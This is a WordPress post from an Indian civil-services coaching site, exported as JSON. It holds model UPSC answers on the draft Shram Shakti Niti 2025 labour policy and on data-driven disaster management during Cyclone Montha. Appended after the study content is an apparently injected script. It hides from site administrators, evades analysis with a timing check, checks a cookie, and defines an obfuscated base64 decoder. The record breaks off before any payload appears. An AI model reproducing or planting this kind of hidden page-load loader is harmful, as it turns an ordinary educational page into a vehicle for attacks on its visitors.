{"id":2731,"date":"2025-11-13T05:27:09","date_gmt":"2025-11-13T05:27:09","guid":{"rendered":"https:\/\/iasquest.com\/?p=2731"},"modified":"2026-02-11T18:48:12","modified_gmt":"2026-02-11T18:48:12","slug":"the-draft-shram-shakti-niti-2025-cyclone-montha","status":"publish","type":"post","link":"https:\/\/kingmakersiasacademy.com\/current-affairs\/the-draft-shram-shakti-niti-2025-cyclone-montha\/","title":{"rendered":"The Draft Shram Shakti Niti 2025 &#038; Cyclone Montha"},"content":{"rendered":"\n<p class=\"has-text-color has-link-color wp-elements-1 wp-block-paragraph\" style=\"color:#e40404\"><strong>1. Critically examine the paradox between digital ambition and social reality in India\u2019s labour market in light of forced labour, informal employment, and the need for inclusive social protection.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 II: Issues relating to development and management of Social Sector\/Services relating to Health, Education, Human Resources.<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-2 wp-block-paragraph\"><strong>IN NEWS:<\/strong> Exploited workers, a labour policy\u2019s empty promises &#8211; The draft Shram Shakti Niti 2025 further exposes the gaps in India\u2019s labour landscape<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-3 wp-block-paragraph\">India\u2019s labour landscape is marked by a digital push through initiatives such as <em>e-SHRAM<\/em>, <em>National Career Service (NCS)<\/em>, and the proposed <em>Shram Shakti Niti 2025<\/em>, aimed at universalising welfare and job access. However, this ambition clashes with persistent ground realities of forced labour, informality, and social exclusion.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-4 wp-block-paragraph\"><strong>The Digital Ambition<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-5\">\n<li>The government aims for <strong>\u201cfuture-ready\u201d labour governance<\/strong> with digital platforms for job-matching, skill certification, and social security.<\/li>\n\n\n\n<li>Proposals include a <strong>Universal Social Security Account (USSA)<\/strong> integrating <em>EPFO, ESIC, PM-JAY,<\/em> and <em>e-SHRAM<\/em>.<\/li>\n\n\n\n<li>Digital dashboards and AI-driven career services align with <strong>SDG 8 (Decent Work)<\/strong> and <strong>Digital India<\/strong>.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-6 wp-block-paragraph\"><strong>The Social Reality<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-7\">\n<li><strong>Informalisation:<\/strong> Nearly <strong>90% of India\u2019s workforce<\/strong> remains in informal jobs without contracts or benefits (ILO, 2024).<\/li>\n\n\n\n<li><strong>Forced Labour:<\/strong> Around <strong>11 million<\/strong> face modern slavery conditions \u2014 especially women in seafood, textiles, and quarries.<\/li>\n\n\n\n<li><strong>Exclusion by Design:<\/strong> Only <strong>38% of households are digitally literate<\/strong>, excluding women, elderly, and low-literates.<\/li>\n\n\n\n<li><strong>Gig Economy Issues:<\/strong> Algorithmic control and \u201cflexibility\u201d mask wage theft and lack of bargaining power.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-8 wp-block-paragraph\"><strong>The Paradox<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-9\">\n<li><strong>Digital optimism vs. weak enforcement:<\/strong> Labour codes remain unenforced; inspector shortages persist.<\/li>\n\n\n\n<li><strong>Centralisation vs. inclusion:<\/strong> Digital tools replace field inspectors but fail to ensure grievance redressal.<\/li>\n\n\n\n<li><strong>Tech-driven governance vs. data privacy gaps:<\/strong> Weak Digital Personal Data Protection (DPDP) Act enforcement risks surveillance of workers.<\/li>\n\n\n\n<li><strong>\u201cEmployer ease\u201d vs. worker justice:<\/strong> Ease-of-business rhetoric erodes Articles <strong>14, 16, and 23<\/strong> protections.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-10 wp-block-paragraph\">Bridging this paradox requires <strong>tripartite governance<\/strong> (state\u2013employer\u2013union), <strong>offline access<\/strong> for excluded groups, <strong>rights audits<\/strong>, and <strong>adequate funding<\/strong> for universal protection. Without tangible safeguards, India\u2019s digital labour vision risks deepening inequality rather than ensuring dignity, rights, and justice for its working poor.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE<\/strong> <br><strong>Q. Explain the difference between organized and unorganized sectors. What are the major challenges faced by the workers of the unorganized sector in India? (2020)<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-11 wp-block-paragraph\" style=\"color:#0509e4\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/exploited-workers-a-labour-policys-empty-promises\/article70267861.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/exploited-workers-a-labour-policys-empty-promises\/article70267861.ece<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-12 wp-block-paragraph\" style=\"color:#f70202\"><a><\/a><strong>2. \u201cData-driven governance is transforming disaster management from a reactive response to a proactive resilience model, yet challenges of inclusivity, capacity, and ethics persist.\u201d analyse this statement in the context of India\u2019s disaster risk reduction framework.<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>Syllabus:<\/strong> <br><strong>General Studies \u2013 III: Disaster and disaster management<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-13 wp-block-paragraph\"><strong>IN NEWS:<\/strong> When data became the first responder&nbsp; &#8211; Andhra handled Cyclone Montha with maturity in disaster governance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-14 wp-block-paragraph\">India, among the world\u2019s most disaster-prone nations, faces frequent floods, cyclones, earthquakes, and heatwaves. Over the past decade, <strong>data-driven governance<\/strong> \u2014 leveraging real-time monitoring, satellite mapping, and predictive analytics \u2014 has reshaped disaster management from relief-centric to <strong>risk reduction and resilience-oriented<\/strong> governance.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-15 wp-block-paragraph\"><strong>Transformation through Data-Driven Governance:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-16\">\n<li><strong>Early Warning Systems:<\/strong> IMD\u2019s Doppler radar networks and the Indian Ocean Tsunami Warning Centre now provide precise forecasts, reducing casualties significantly.<\/li>\n\n\n\n<li><strong>Geospatial Data:<\/strong> ISRO\u2019s <em>Bhuvan<\/em> and <em>RISAT<\/em> satellites enable risk mapping, resource allocation, and post-disaster assessment.<\/li>\n\n\n\n<li><strong>Digital Platforms:<\/strong> NDMA\u2019s <em>Common Alerting Protocol<\/em> and <em>NDM-India App<\/em> integrate data from multiple agencies for faster response.<\/li>\n\n\n\n<li><strong>AI and Big Data:<\/strong> Predictive analytics under the <em>Climate Resilience Information System and Planning (CRISP-M)<\/em> helps local planning and mitigation.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-17 wp-block-paragraph\"><strong>Persistent Challenges:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-18\">\n<li><strong>Inclusivity Gaps:<\/strong> Marginalized and rural communities often lack digital access or literacy, limiting benefit from data tools \u2014 undermining <em>\u201cLeave No One Behind\u201d<\/em> goals of the Sendai Framework.<\/li>\n\n\n\n<li><strong>Capacity Deficit:<\/strong> Local disaster management authorities lack trained personnel and data infrastructure.<\/li>\n\n\n\n<li><strong>Ethical Concerns:<\/strong> Data privacy, surveillance risks, and algorithmic bias challenge public trust.<\/li>\n\n\n\n<li><strong>Fragmented Data Systems:<\/strong> Poor interoperability among agencies delays coordinated action.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-19 wp-block-paragraph\">While data-driven systems have improved <strong>speed, accuracy, and accountability<\/strong> in India\u2019s disaster management, real resilience demands <strong>inclusive digital capacity-building<\/strong>, <strong>ethical data frameworks<\/strong>, and <strong>community-based decision-making<\/strong>. Integrating technology with human-centric governance and local participation will ensure a truly <strong>proactive and equitable disaster risk reduction<\/strong> model in line with the <strong>Sendai Framework (2015\u20132030)<\/strong>.<\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE<\/strong> <br><strong>Q.\u201cDescribe the various measures taken in India for disaster risk reduction (DRR) before and after signing of the Sendai Framework for DRR (2015).\u201d (UPSC PYQ 2021)<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-20 wp-block-paragraph\" style=\"color:#042ee7\"><strong>Source:<\/strong><a href=\"https:\/\/www.thehindu.com\/opinion\/op-ed\/when-data-became-the-first-responder\/article70266886.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/opinion\/op-ed\/when-data-became-the-first-responder\/article70266886.ece<\/strong><\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var 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